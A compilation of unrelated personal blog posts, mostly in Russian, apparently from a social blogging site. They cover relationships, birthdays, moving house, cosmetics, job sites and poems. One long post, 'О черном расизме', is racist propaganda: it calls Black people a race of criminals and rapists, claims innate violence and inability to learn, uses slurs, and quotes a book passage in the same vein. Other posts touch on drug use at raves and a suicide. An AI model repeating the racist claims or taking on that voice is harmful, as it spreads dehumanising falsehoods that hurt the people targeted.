Меня жутко бесят люди, которые зависимы соц. сетями. Нет, это я не про то, что они не отрываются от экранов сотовых, а про то, что если вдруг вы повздорили, то сразу нужно удалять из друзей, писать это в твиттер, выкладывать фото в инсту с тупой записью и т.д.. Или что-то типа этого: "Хэй, я, смотрю, он у тебя выше меня в "важных", удали-ка его и тогда я буду первой" Боже мой! Чувак, да какая разница, какое место ты занимаешь у меня в друзьях?! Главное, что ты мой друг, я гуляю с тобой и мне это нравится. Ты важен для меня. Будь спокоен. Или вот еще ситуация: Он(а): *отправляет картинку с подписью "кек"* Я: *долго не отвечаю на сообщение* Он(а): Ты меня игноришь? Наверное, ты не хочешь общаться. Не молчи, а. Ясно все. " Стоп! Хватит! Порой я просто не знаю, что ответить человеку на дибильную картинку или смайлик. Отправить что-то в ответ? Эмм… Окей, да, я посмеялась и что дальше? А может быть я пошла в туалет или помогать маме, или смотрю сериал, читаю, занимаюсь какой-нибудь фигней, слушаю музыку. Я не могу вечно сидеть в вк и отвечать на все сообщения.

Тяжело терять человека снова и снова. И пусть сейчас это мое решение. Сложно говорить "прощай", пусть это уже даже и не любовь. Сложно стоять в объятиях и понимать, что слезы из глаз не только у тебя. Сложно уходить не обернувшись, зная, что больше никогда не увидишь. И невозможно стоять под душем, пытаясь реветь так, чтобы никто не слышал. Больно так, что меня снова разрывает на части. Снова не могу дышать. И, наверное, сейчас я вою, как раненый зверь.

В доме напротив жила безупречная женщина с кудрявыми волосами цвета осенних листьев и серебристыми нитками в висках. Она казалась безупречной и счастливой. Красивый мужчина с кольцом на безымянном пальце, цветы на подоконнике и белоснежные занавески на окнах.

Заглядывая вечером в окна, я завидовала белой завистью и надеялась, что когда-нибудь подобное счастье настигнет и меня. Дети приезжали к ней на выходных, и, кажется, женщина улыбалась с каждым днём всё ярче…

Пока однажды я не узнала, что она подвесила свою счастливую жизнь на этих самых белоснежных занавесках. И её счастье больше не казалось мне таким привлекательным.

Даже у человеческой души есть температура, при которой она возгорается.

Вот я испекла этот морковный пирог, а на следующий день заболела. Почти целый отдала маме (летом мы живем отдельно), ибо меня от него теперь воротит. Вот бывало у вас такое, что последнее, что вы ели перед болезнью, теперь вызывает у вас рвотные позывы. Я так года три уже не могу есть творожную массу, теперь еще и морковный пирог, который сделала первый раз в жизни. Мама когда приехала, попробовала его и говори: "Ой, как вкусно!", а в голове только: "Замолчи, пожалуйста. Не надо о нем говорить. Забери его побыстрее". Я даже пост удалила, не могу на него смотреть. Обидно

Еще очень обидно, что из-за температуры не смогла проводить подругу в Москву, теперь вот неизвестно, когда она приедет. Трое поступили в Мск, двоих проводила, одну нееет. Блиин, только сейчас поняла, что не отдала ей собачку, которую дарила каждой при отъезде: (

• NEKTO • ASK • TWITTER •

❝ Ну что ты, Ларина, как проходят последние часы молодости? ❞ — пришло сообщение от подруги.

Завтра уже 20.

20… у меня… то есть мне… то есть… Неважно!

Странные ощущения.

Последние несколько лет перед днём рождения я впадала в маленькую депрессию, ибо увеличение числа ничего хорошего не предзнаменовало (там свои причины "заморочек" были). Сегодня же ничего подобного нет. С одной стороны мне нравится эта цифра, а с другой даже пугает. Пугает не в том плане, как говорят друзья в шутку "старая", а в том, что я не чувствую этого возраста. Мне кажется, что я осталась где-то на 16-17м году жизни. Мне кажется, что я всё тот же "безбашенный"амбициозный подросток, что и несколько лет назад. Ну только сейчас чуточку наглее, чем прежде. И нет никакого такого ощущения, что я взрослая, живу своей жизнью и ни от кого не завишу…

Раньше дни рождения сопровождались особым предвкушением предстоящего праздника, потом это ознаменовалось депрессиями и страхами "Я? Взрослая жизнь? Да вы с ума сошли!", а теперь… Теперь маленькое странное чувство удовлетворенности. И вроде не всё так гладко, и не все планы осуществлены, и я не добилась всего того, чего хотела до заветной цифры "20". Но на данный момент мне нравится, что я стала (внутренне) той, кем пыталась стать на протяжении всех этих лет. Я довольна собой. Своими целями, приоритетами, мыслями и характером.

/Какой-то в этот раз пост сумбурный вышел/

На душе спокойно, а вот мысли кружат голову. Нравится фраза " Будь лучшей версией себя ". И из года в год стараюсь самосовершенствоваться и развиваться, а с каждым днем рождения начинать новую жизнь (ох уж эти женские заморочки). Поэтому завтра я проснусь чуточку другой и вновь начну кардинально менять свою жизнь, что бы через 365 дней я смогла быть не просто довольной собой, а гордиться своими достижениями.

(via yourefuckingawesome)

общаемся с мамой весь день о том, что молодость не вечна, типа мне уже 24, а я ничего в жизни не добилась. и что ПОРА БЛЯДЬ ЗАМУЖ. ахах лол

стараюсь маме объяснить, что я просто ломаю людей, подминаю, прогибаю, просто перешагиваю. со мной все становятся безвольными тряпочками, смотрят мне в рот и готовы делать, что угодно, как верные псы всегда рядом.

аааа как же меня это заебало, где тот человек, который сможет меня усмирить.

За неделю с кем бы я не договорилась все кинули. Просто блять спасибо. А потом некоторые удивляются и обижаются, почему их никуда не зовут. Поэтому ненавижу быть инициатором. Сука всем насрать. Я уже на грани.

Привет. Я еду домой. Уже в маршрутке. Каждый раз когда возвращаюсь в Киев понимаю насколько сильно люблю этот город. Наскольно офигенно я себя в нем чувствую. Прям как дома хд. Очень всегда скучаю по Киеву. И всегда радуюсь возвращению. Кроме того раза когда возвращаясь с Москвы. Тогда я была пиздецки расстроена. Причем так что все это замечали. Еще дня 3 потом какая-то депрессия была. Но не будем о грустном. Я просто хотела сказать что я дома. И это так классно. Я обязательно расскажу как все прошло в Хмельницком. потому что там творился пиздец! Но мне надо все мысли в кучу собрать, упорядочить и организовано изложить. Но это позже) я так соскучилась по своим обычным делам, как-будто меня месяц не было, а не 3 дня.

мир полон одежды, заполненной мясом,
стремящейся по делам.
одежда работает, плавает брассом
и прячется по углам.

одежда сидит в институтах и школах,
еще - на рабочих местах.
боится одежда пролитую колу
и прорехи в рукавах.

одежда теперь обожает бумажки,
счета, интернет, телефон.

я стала усталой обычной рубашкой,
ты будешь моим пиджаком?

Ну вот и пролетели два дня моего отпуска. Осталось три. За эти дни мы только и занимались что обрыванием обоев, шпаклевкой стен и тд и т.п. Ну хотя бы выспалась) обещала себе в понедельник заняться сан.книжкой, а завтра уже среда. Лень когда нибудь даст мне сдерживать свои обещания?? Еще контрольная и курсовик гиречкой на сердце висят. Ужас! Вроде только со всем разгребешься, поворачиваешься, а рядом с тобой снова куча дел. За эти дни кстати заметно подсдулась в объеме, что не может не радовать

Я:
*просыпаюсь*
- Где мой телефон?
*Срываю одеяло*
*Слышу громкий стук*
- Вот он

Крайне любопытно, смогу ли я когда-нибудь наконец перестать подсчитывать вероятные исходы с неизменным в последнее время "А если бы… ?" Отказ от этой привычки означает полную потерю интереса к прошлым периодам, в течение которых, как сейчас ясно видится мне, я много чего упустила и до сих пор не получила в полном размере, а где-то и натворила делов. После десятых чисел сентября 2013 года я навсегда потеряла умение тихой концентрации на себе и своих ощущениях (только сейчас запоздало поняла, что больше не могу самозабвенно уплывать от жизненных реалий, слушая музыку, уже давно никакая мелодия не поражает меня так сильно, как это было еще пару лет назад), но почему-то взялось из неизвестных глубин понимание внешнего, забравшего внезапно все внимание… Мне хотелось бы верить, но вся моя жизнь до сегодняшнего дня подтверждает лишь склонность быть недовольной получаемыми результатами с оглядкой на кажущиеся успешными и лучшими чужие.

Еще не много и вознесусь до форм Рубенса. Особо нагнетает, когда на экране мелькает Дорис Дэй. Но повышенная сенситивность. Уже давно потерян более или менее четкий образ эталона. Всеобщее влияние на восприимчивое к любому раздражителю сознание распылило собственный лик. Оставляя лишь начинку, что неопределенна как мнение. Нужно быть женщиной Кокошка и жить возле домов Хундертвассера. А может нужно просто отправиться к Гипносу и Морфею или выпить очередную чашку чая.

я скажу тебе, знаешь, одно. не пытайся быть с тем, с кем быть не дано.

насчет противоположных качеств: сотню раз видела, как некоторые люди, за которыми я слежу, ставят лайк к посту, от которого у меня боль, пиздец и крах, а потом спокойно лайк уже к моему посту на тему вызванных всем этим боли, пиздеца и краха

почему до сих пор так больно каждый раз, когда (особенно) девушки это попирают? боль почти физическая, все тонет внутри и превращается в пыль. почему нельзя взглянуть за пределы себя и понять, из какой бездны отчаяния и самоненависти может вытащить одно слово, одна книга, одна цитата? все это как будто дважды бьет и разрезает: сначала меня напополам, затем - мир на куски (где я оказываюсь на самом маленьком и обреченном на затопление).

Дура

мое море прошу не выплюни меня на берег

[мое море. если вам вдруг интересно, то во тут можно посмотреть мои другие фото]

Знаете то поганое чувство, когда единственный человек, которому вы доверили всю себя полностью (не опошляйте), рассказав о самых своих сокровенных мечтах, мыслях и самых глупых страхах, привычках, а потом этот человек, до поры до времени принимавший вас и говоривший вам принимать самого себя тоже, вдруг заявляет, что хочет чего-то там в вас "искоренить"? Пардон, милейшая, а чести-то не шибко много? Строй себе идеального человека не из меня. Я им никогда не буду и слава Богу.
И, не хотев ссориться, я просто пропустила такое охуительное заявление. А вчера вечером пишет, что мол, прости, что веду себя как мудак и я тебя очень люблю. И покажите мне человека, который бы воспринял это вдруг так, словно все кончено, как восприняла это я. Вроде бы и слов таких в жизни от этого человека не слышала, но и блять. Это извинение просто как будто вот все, не надо мне ничего от тебя, уйди. Ответила просто "надо же". Утром было тяжко и страшно, и жить не хотелось, а сейчас только злость кипит и все. Искоренить, блять. Себя искорени. И вот по вредности своей детской хочется только эту сторону теперь и показывать.
Еще вчера готова была меняться ради этого человека, каждый раз переступая через себя, чтобы не дай боже, не испортить настроение, а тут вот все, сорян, добила, пиздуй теперь лесом. Я устала, просто устала. И даже если бы от этого искоренения моего чувства бесполезности для окружающих стало легче прежде всего мне, то все равно не делать этого тебе.

я бы тоже в тебе много что изменила, подстроила бы под себя, но сорян, тогда я ведь убью часть тебя? А я же вроде как тебя люблю и типа как бы это подразумевает любить и твою дерьмовую сторону тоже? и какое я имею на это право? и ты тоже не имеешь никакого.
в общем, ребятки, либо принимайте человека со всеми его заебами и дружите, либо не общайтесь с ним вообще, но менять никого не меняйте, не ваше это дело.

дискурс о (либеральном) феминизме на тамблере: трахайся как можно больше потому что это ЭМПАУЭРМЕНТ! дискурс о феминизме на вьюи: феминистки такие потому, что их никто не трахает!! вывод: феминизм - только о сексе и больше ни о чем. расходимся. а я-то думала, что может хоть раз люди начнут думать о чем-то другом, но видно не судьба

так много ругаюсь матом исключительно для того, чтобы люди не раскрыли, что я выебываюсь везде и всегда

не нужно объяснять, как вообще в человеке могут сосуществовать совершенно противоположные качества, но БЛЯТЬ, объясните, как именно ПОВЕРХНОСТНОСТЬ и ЖЕЛАНИЕ ДОЕБАТЬСЯ ДО ВСЕГО И ВО ВСЕМ НАЙТИ СМЫСЛ И ЖИТЬ 'ПО ИДЕЕ' (что обычно называют загадочным словом 'глубина') ? КАК? стабильно прохожу через периоды невероятной легкомысленности и фатальной неверности, которые потом сменяются потоками меланхолии и готовностью принять пулю за Избранных

Любите, девушки, простых романтиков, отважных лётчиков, а не пожрать.

Может самой моей большой ошибкой было то, что я последние несколько лет пыталась быть не самой собой, а кем-то иным. Чем-то иным.
я от природы угрюма, ворчлива, упряма. не выношу разговоров из разряда "ни о чем". у меня никогда не было настоящих друзей и книги всегда занимали меня, и собственно, были моим утешением.
но с кой это стати, мне вздумалось, что я должна все изменить?
что я, должна измениться, завести друзей и тогда я начну жить «по-настоящему» ?
я честно старалась. ходила на какие то вечеринки, заводила друзей, пыталась быть «класной девченкой».
но такая Я не нужна даже мне.

Кажется, пора вернутся в свою конуру. Перестать делать вид, что мне не все равно.

и перестать, черт побери, обманывать других и в первую очередь себя.

пожалуй, с этого и начну.

самое наболевшее никогда не высказать толком

Ума не приложу откуда мой мужчина все знает. Я сейчас никак не возвышаю его, нет. Просто что его не спроси он всегда ответит развёрнуто и точно. Например, недавно он объяснял мне чем отличается венозная кровь от артериальной. И откуда это может знать не медик? Он говорит, что ему просто все интересно и он все пытается узнать. И таких совершенно разных вопросов и ответов много и каждый меня удивляет все больше и больше. Одно счастье жить и любить образованного человека.

счастье - это провернуть замок и сказать "я дома", счастье - это понимать, что любима, ценна, влекома, счастье - это прижаться к кому- то во время грома, знакомо? счастье - это когда ощущаешь на шее чьи-то ресницы, счастье - это вдруг повстречать на проспекте родные лица, счастье - это легкий сарафан в цветочек из ситца, счастье - это к людям по-доброму относиться, господи, помоги этому сбыться. счастье - это увидеть вживую все морские оттенки, счастье - это готовить ему на завтрак омлет и гренки, счастье - это развесить рисунки детей на стенке, счастье - это когда у людей на уме любовь, не деньги, у тебя это все впереди, уж поверь мне, детка.

Самое сложное — не знать, правильно ли ты сделал…

У меня открылась новая болезнь "КУПОНОМАНИЯ". Невозможно остановиться. Люблю халяву.

Природа удивительна. Чего только нет на свете: насекомые размером с кота, рыбы с мечом вместо носа, уродливые мужики, считающие себя красивыми

Я отказалась от всех ради него, а он ради меня не смог отказаться от нее.

ребята, я сделала это.хухуху я закончила фанфик про Гарри и Кэти. я начала его давнооо. И вот, с ленью пополам, я все-таки села и дописала оставшиеся 2 главы ;) да, август выдался для меня очень продуктивным в плане фф*_*

кому интересно вот ссылка:

• Best friends brother

О черном расизме

—--------------

С недавних пор, в мире, появилось такое недвусмысленное понятие как "Черный расизм", чем он хуже белого ? Ну хотя бы тем, что белых на данный момент меньшинство и сокращается это меньшинство крайне стремительно, возможно мы последний виток поколений который видит мир белым.

1) Но возвращаясь к теме, думаю многие помнят события в Фергюсоне (https://topwar.ru/56535-chernyy-rasizm-kak-instrument-dlya-perezagruzki-ssha.html) черный подросток был убит белым полицейским, из-за чего черные бунтовщики начали устраивать свою маленькую революцию. Оно и не удивительно что черный оказался вновь убит, раса преступников и насильников не может действовать по другому, против природы не попрешь. Склонность к насилию, асоциальному поведению, бескультурью, нетерпимости, агрессии, отсутствие способностей к обучению и поглощению трудов белой цивилизации - все это присуще "черным" расам.

2) А знаете о новом тренде черных американцев ? Игра называется "Выруби белого" (о последствиях такой игры вы можете легко найти в интернете, первая картинка для наглядности) Суть игры конечно же проста и глупа как негр, надо лишь с одного удара вырубить белого, и не важно кто это будет, женщина, мужчина или ребенок. Сотни нападений совершаются вне зависимости от пола и возраста, важен лишь цвет кожи !исключительно! белый

3) Так же мне кажется интересным одна из главок книжки Никонова, я не буду кидать ссылку на неё, а просто впишу сюда маленькую главу. Называется она "Казусы двойной морали" и речь идет о мнимой и крайне губительной политкорректности:

Иногда невозможность вслух сказать правду (неполиткорректно) приводит западных людей к ступору. Вот пример.

В 2000 году в Африке среди «лучших друзей белого человека», как всегда, поднялась кровавая буча. Зимбабвийские афро-африканцы начали погромы и экспроприацию земельной собственности, принадлежащей белым. Их пример вдохновил «ветеранов освободительного движения» в Кении. Те тоже начали сгонять «помещиков» с землицы. Не щадили даже депутатов парламента. Гоньба осуществлялась по принципу: «Белый? Пшел вон!» В общем, на черном континенте начал твориться очередной черный передел.

Западные политики попали в неудобное положение. Если бы белые гнобили черных – о-о! – западные интеллигенты развернулись бы по полной! Они бы не дали спуску этим беложопым расистам! Но на сей раз обижали белых… Трудная ситуация. Обвинять черных в расизме – неполиткорректно. Поэтому жесткого определения Запад так и не дал. И это только развязало руки черножопым расистам, так и не получившим должного отпора мирового сообщества.

А вот другая история. Менее кровавая, но не менее идиотская. Российские аниматоры сняли фильм «Щелкунчик и Мышиный король». Потратили на мультик немало денег, и, значит, кино не могло получиться плохим. Фильм планировали выпустить на западные экраны. Так вот, немалая часть потраченных на фильм денег ушла на то, чтобы привести кино в соответствие с требованиями политкоррект-ности. Претензий у американцев было две:

1) а почему это в фильме слугой является негритенок? Неполиткорректно!

2) а почему это в мышиное войско стреляют вилкой? Это жестоко! Необходимо заменить вилку на игрушечную присоску, иначе у нас возмутятся общества по защите прав животных!

Заметьте степень маразма: возмутятся не «общества по защите прав нарисованных животных», а именно «общества по защите прав животных». В силу простоты организации американцы, видимо, не отличают живых мышей от нарисованных…

Мультипликационного Конька-Горбунка американский переводчик ершовской сказки превратил в «волшебного пони» – видимо, чтобы не было обидно всем горбатым лошадям. Из классических произведений, предназначенных для изучения школьниками, американская цензура убирает все упоминания об алкоголе, расовой и религиозной принадлежности, любые упоминания об обнаженном теле…

Семимильными шагами хреначит политкорректность и лютое человеколюбие по планете! В Новой Зеландии, например, общество любителей прав человека несколько лет назад «наехало» на кинокомпании. Дело в том, что во время съемок на улице киношники выгоняли со съемочной площадки наркоманов, бомжей и проституток – чтобы в кадр не попали.

«Это попрание прав человека!» – возмутились активисты. И потребовали от кинопроизводителей материальной компенсации в пользу бомжей и наркоманов. Видимо, на очередную дозу.

Упомянутая Фридманом политика мультикультурализма (пусть расцветают сто цветов!) выпячивается флюсом на лице американского образования. Штатовские нацмены вовсе не горят желанием изучать европейскую культуру, да от них этого и не требуют, считая подобное навязывание расизмом. Зато от белых студентов часто требуют, чтобы они изучали «угнетенные» культуры Америки, приписывая этим отсталым культурам немыслимые мифические достоинства.

В Стэнфордском университете негры потребовали ликвидировать западный курс Шекспира, Данте… Потому как, с их точки зрения, смысл западной культуры вообще и этой программы в частности: «Черномазый, убирайся домой!»

В результате уровень американского образования падает ускоренными темпами. Для сравнения: в 1914 году американские студенты учились 204 дня в году, а в 1993 – только 156. Одного из американских юристов попросили записать на пленку небольшой курс по юриспруденции.

– Зачем на пленку? – удивился он. – Я вам методичку написать могу.

– Не надо нам методичку. Студенты ничего не читают. Даже для развлечения не читают. Если их пытаешься заставить читать, они буквально стонут. А вы разве не замечали, что учебники становятся все тоньше и все тупее?

– А если заставлять?

– Дело в том, что после каждого семестра студенты ставят баллы за прослушанный курс. И если преподаватель им не понравится, например из-за строгости, он не наберет нужных баллов и будет уволен. Вы не представляете, насколько сегодняшние преподаватели зависят от студентов! Ведь студент платит за учебу. А кто платит, тот и заказывает музыку. И они хотят за свои деньги «оттянуться по полной»…

4) Для общего представления всего того пиздеца что творится в мире, можно привести ещё эту интересную страничку в Вики: https://ru.wikipedia.org/wiki/%D0%A7%D1%91%D1%80%D0%BD%D1%8B%D0%B9_%D1%80%D0%B0%D1%81%D0%B8%D0%B7%D0%BC

Она крайне занимательна, советую прочесть и обдумать

5) А как же на счет диаспор ? Кварталов ? Улиц и целых городов. Это безусловно присуще примитивным расам, сбивание в стайки лишь по признаку расы. В нашем цивилизованном мире это кажется диким и не естественным. Но тем не менее вы можете это наблюдать воочию. Вы замечали что преднеазиаты, волей не волей, а общаются преимущественно с преднеазиатами ? Черные детишки дружат лучше с черными и т.д

Это вполне типичное поведение для них, роль в этом опять же играют инстинкты. Поэтому "меньшинства" (какое же это меньшинство, если их больше?) всегда ходят группами и общаются с такими же группами. Из этого вытекают черные кварталы, бандформирования и прочее прелести толерантного мира. Вам достаточно повернуть не за тот дом, где вас сразу же встретят группа негров или кавказцев. Наши дворовые гопники, по сравнению с этими диаспорами, просто маленькие и безопасные дети.

Думаю о уровне преступности (убийств, распространению наркотиков, изнасилований и побоев на почве расовой нетерпимости) в таких местах, не стоит говорить ?

(Представлю видео которые было снято во Франции. Вы сами все поймете и сделаете выводы)

Ну, а о Исламизации, её последствиях, в более глобальном масштабе, мы поговорим в следующей части цикла "Нахуй вашу толератность"(с) автор неизвестен

—В сети наши грехи будут жить вечно

Лучший фильм ужасов в моей жизни. Всю свою сознательную жизнь просто "не переваривала" фильмы такого жанра, не считая ужастиков "старой школы". Почему?

1.Концовки. В последнее время фильмы ужасов заканчиваются почти одним и тем же. Вы замечали насколько они предсказуемы?! Герои либо умирают все, либо монстр/призрак/маньяк(нужное подчеркнуть) скрываются из виду и конец остаётся незавершённым. Мы даже делали ставки с друзьями, половина говорила, что в конце все умрут, вторая половина твердила, что конец останется незавершённым.

2.Сюжет. Зачастую в таких картинах очень слабый сюжет, который даёт трещину уже с момента появления опасности для героев, а я человек, который привык полностью в него погружаться.

Итак, о чём я?!

Фильм "Убрать из друзей" является плодом одних из самых креативных и талантливых людей в этом жанре. К тому же картина является поучительной и заставляет пересмотреть свои взгляды на многие вещи. Съёмка фильма весьма оригинальна, так как вся картина "крутится" только вокруг социальных сетей, то бишь, весь фильм мы смотрим, грубо говоря, с компьютера одного из главных героев, который то и дело "прохаживается" по Фейсбуку, Ютьюбу и Скайпу, последний из которых является ключевой программой фильма.

Начало фильма удивит многих, кто-то остановит фильм и перемотает, в кинотеатре можно будет лицезреть толпища недоумевающих лиц, а всё потому, что создатели потрудились над тем, чтобы задумка фильма заговорила о себе уже на заставке. Проще говоря, не пугайтесь, когда, просматривая фильм, вы увидите странный глюк, похожий на глюк при общении в Скайпе через веб-камеру, при заставке Universal, так и было задумано.

Фильм держит в напряжении, так как у каждого из героев есть тайны, которые рано или поздно раскроются нам.

Ну и на десерт поучительная концовка, чего от фильма я вообще не ожидала.

А главное - господа, не выкладывайте позорные видео ваших друзей/врагов в интернет. Это может сломать им жизнь. И кто знает, чем это может закончится.

"Какая-то часть меня уже побежала бы к тебе", "мне кажется, чтобы мы не делали, с кем бы мы не встречались, в итоге мы все равно сойдемся". Имеют ли эти слова, сказанные месяц назад смысл сейчас? Или все-таки мнение поменялось?

Ой, ой, ой

Что действительно тяжело, так это то, что все уже давно списали меня со счетов. Никто даже не предполагает, что она вернется ко мне

скорее бы 10 манго в день, 10 минут на телефон в день, 10 тонн морской воды и один МОЙ человек.

Каждый человек многогранен. Скрытен. У каждого свои интересы, таланты, стремления, приоритеты, мечты.. У каждого есть свои достоинства и недостатки. Молчу уже о чужой душе – это, как говорится, вообще потемки. У каждого есть эта глубокая черная тайна, которую он никому не расскажет, никогда, даже самым-самым близким.

Я не понимаю такие фразы, как «Ой, я ведь тебя\его\ее\их хорошо знаю!» или «Он просто не мог так поступить, я точно знаю!»

Как вообще можно говорить, что вы знаете кого-то? Тем более хорошо. Никогда не знаешь, что у человека внутри творится. Можно ли ему доверять вообще. Сами с собой разобраться не можете, самих себя не знаете, а говорите за другого. Я сталкиваюсь с этим уже N-ое количество раз: (Все написанное ниже – я услышала лично)

- Он дышал мной, ты понимаешь, он не мог взять и оставить меня!

- Он не мог меня предать, только не он, я его хорошо знаю!

- У него все на лице написано, он - открытая книга.

- Я тебя знаю! Ты не можешь так поступить, кишка тонка. etс

У меня порой такие мысли на уме вертятся, что услышь о них кто-то из моего даже самого близкого окружения, никогда не поверил бы, что я вообще могу так думать.

Все мы показываем только ту свою сторону, которую хотим показать. Каждый показывает другим то, что он хочет, чтобы другие видели. Вот и все. Все мы со скелетами.

Думаете, знаете кого-то хорошо? Ну-ну, сперва сами с собой разбeритесь. Небось и сами себя не знаете.

птюч - новая библия.
техно техно техно рейвы пустышки таблетки и таблетки от которых на утро ссышь кровью
мы изменяемся, мы стоим на месте. мы в спирали, мы в этой вечности, мы прибываем в пространстве
рассекаем, познаем, расширяем
новые столкновения между техникой и природой
микрофильтры

улавливай, барахтайся
воздух воздух воздух
руки точно в стороны, мы взлетаем.

глитч, эксперименты, неожиданности
поломались. починились.
случайно сблизились в тесной душной комнате, где все толкаются с расширенными зрачками
через полтора месяца не понимаем, что нас связывало -
мы просто торчали вместе

свет! свет! свет! свет!
электроволны, переплетения
улавливать улавливать улавливать

цифры цифры цифры
мы в новом мире.
мы не можем с ним справиться
расширить сознание, колоннизировать марс

ффффффффффуввввввввввввввввввввввввооооо ритмик нойз

компьютеры, мил человек. точное указание враждебных и дружественных областей сознания. вживление в мозг. волновые генераторы мозга. биологическая обратная связь.

зыбкое
страх и пустота распространяются со скоростью света внутри тебя
это воронка внутри внутри в груди
засасывает

не
выбраться

Охренеть, нам опять подняли цену за учёбу. 49600 за семестр. С такими темпами нам не хватит материнского капитала до конца моей учёбы. А на бюджет уже перевестись нереально =\

Игорь Метальский "Снег да и только"

Мама отправила меня на балкон дышать свежим воздухом. Я неделю не выхожу из дома, почти ничего не ем и сегодня ночью мне было жутко плохо. А полчаса назад я упала в обморок, чем жутко напугала домашних. Кажется, мне нужно чаще появляться на улице…

Не люблю людей, которые лезут в душу.

возможо мы и неувидимся больше, но ты всё-равно живеш в моей голове…

Great Fairy оправдывает свое имя. В некоторых местах действительно чувствуется величие.

И тут я поняла, что весь "Настоящий детекстив" держался на игре МакКонахи и Харрельсона. Второй сезон уныл до невозможности.

Так как я уже не знаю, куда деваться от звонков, посоветую ищущим работу сайт.

[superjob.ru]

Заполняете форму резюме, оставляете свой номер и почту- и всё. Работодатели будут сами вам звонить (правда, чаще всего предлагают они какую-то неведомую хрень, но это уже кто что ищет), а на почту будут приходит уведомления о просмотрах и откликах.

За 3 дня мне позвонили уже раз 6.

М, ещё полезный сайтик- [orabote.net]

Тут вы можете вбивать название компании и читать отзывы сотрудников, работающих там ранее. Конечно, в большей степени пишут негативные отзывы (если всё хорошо, то зачем об этом писать), но вы хотя бы будете знать, чего можно ожидать от этого рабочего места.

Лучше глядите, что я купила на днях в Эльсити.

1. Гель-лак Vivenne Sabo Atelier в оттенке 140

Цвет выбирала не я, а дорогой мне мужчина. По-моему, отличный цвет, на осень самое то. Не броский, но и не кричащий. К сожалению, я пока не красила им ногти, но, думаю, он будет неплох. Люблю эту марку косметики и гель-лаки.

2. Тени-однушки VOV 0157Е на фото отдают в серебристость какую-то, а на самом деле они розовые. Они похожи на кремовые тени от Эссенс, но сверкают круче. Я обожаю розовые тени в принципе: матовые, блестящие, сатиновые, сухие или кремовые. Для моих серых глаз теней лучше не придумали. И "сверкать" в нынешнем сезоне модно :)

3. Лак Nail LOOK в оттенке Mango. Это лак по типу песочка. На ногтях ощущаются шершавыми и, если честно, могут цепляться за волокна ткани. Но я с таким лаком имею дело впервые, поэтому посмотрим, что дальше будет. А вообще, он не стойкий. Но на ногтях красиво, спору нет.

ххх

Я хочу и не могу решиться купить базу для теней. Искала среди обычных марок, а потом поняла, что мне нужна NYX. Нужна и все :D

Достаточно на регулярной основе вёл личный дневник в письменной форме, по итогу с 2008 года получилось 3 полных тетради по 48 листов каждая. Времена меняются и думаю будет намного удобней ход своих мыслей и некоторых событий из жизни перенести сюда (спасибо моей бывшей девушке Маше, она подсказала на примере своего блога, удобный и простой ресурс). К слову про этого замечательного человека я ещё напишу, чуть позже, когда всё уляжется в моей голове. Сейчас в ней полное безобразие. Что касается заполненных мною тетрадей, сюда их содержание перекидывать не буду, это долго и сложно, поэтому я спрятал их подальше. Пускай те времена покроются толстым слоем пыли и уйдут навсегда из моей головы.

Знову це дурацьке навчання! ненавиджу цей університет! терміни на складання всього неймовірно короткі, сидіти заставляють весь день і ні хвилиною раніше не пустять. То коли мені весь ваш брєд вчить? вночі шолі? От скажіть, навіщо майбутньому лікарю розміри приміщень радіаційного відділення?! вибачте нафіг воно мені? вилікую пацієнта якщо він буде ходить в туалет 1,5 на 1,5? брєд. Чи я буду враховувати за формулою густину 2 см свинцю. Я зла. На завтра намалювалось два модулі. як їх здати - не уявляю. не уявляю як вивчити все то за ніч. Кароч в моє життя знову прийшла велика і жирна Ж. А здать то завтра треба, під зарєз. як нє - відрахують. У мене все.

в поезде я начала читать книгу Ремарка "три товарища" она нереальная!

просто на одном дыхании)

Не успела купить открытку Владу, попросила папеньку. Стоит в магазине, описывает, что есть:

-Мне тут ничего не нравится. Хотя, вот нашёл: котик с сердчеком, со стрелой.

-А нормальный котик?

-Да. Давай я тебе куплю две открытки, а ты уже выберешь, какая тебе понравится, - самый лучший папенька.

I am in the arms of my first love .

Мы должны быть добрыми и прощать друг друга . Иначе не выживем.

Фэнни Флэгг.

Сегодня я поняла, что ужасно хочу быть с Ж. и прожить с ним всю жизнь. Не знаю почему, но именно сегодня этот человек стал важен для меня. Мне хочется каждое утро просыпаться рядом с ним, кормить его кота и готовить ему завтраки. Хочу знать, как у него дела и как прошел день. О Боже, только не опять… Я не хочу влюбляться. Мне вполне комфортно ничего не чувствовать: с

Мой прилетает в четверг, а я приезжаю в пятницу. Мы снимаем квартиру в Красноярске. Ну правильно сказать гостинку, только со своим сан-узлом и нормальной ванной. Живем там с марта месяца, так что пора бы уж и написать об этом.

В комнате есть всё необходимое: большой вещевой шкаф, новый холодильник с микроволновкой, небольшой кухонный гарнитур кремового цвета с раковиной под боком #радость (кто жил в общаге, тот поймет), диван и журнальный столик. Из своего самое нужное - плита, утюг, чайник. В общем-то, всего хватает. Ах, да. Ещё есть надувной двухспальный матрас, только за ночь он сдувается, увы. Обои в комнате светло-зеленого цвета, линолеум темно-зеленого.

Живем мы на первом этаже #счастье (в общаге жила на 9том, лифт не работал). Шторы мы сразу поменяли на свои. Пока что там висят только ночные, но сейчас я дома и мама моя подсуетилась, нашла красивую тюль, постирала сегодня. Она так заботится о нашем уюте..больше чем я, мне так кажется. И я ей очень за это благодарна. Сегодня мне нужно написать список необходимых вещей, ибо со дня на день поедем по магазинам. А я ничего не хочу, ни на что сил нет. То температура 35, то 37, сплю плохо из-за боли в горле.

И знаете, смешанные чувства одолевают меня.. Я думаю, многие меня поймут.. Очень трудно покидать родительский дом. Да, там меня ждет любимый, хоть и временное, но своё и уже родное гнездышко, большой город, одногруппницы, учеба в конце концов. Но блин. Тяжело это всё. По-тихоньку разрываюсь, короче

Никак не могла заставить себя снова регулярно вести блог. Это полезно как для моего любимого самоанализа, так и вообще - приятно будет перечитать через какое-то время свои мысли на данный момент… Но все попытки были обречены на провал - я уже, наверное, постов 10 набрала и стерла. Пустила в ход тяжелую артиллерию - купила вьюи плюс. А раз деньги уплочены, мне совесть не позволит после этого здесь не активничать :D

Follow my journey?)

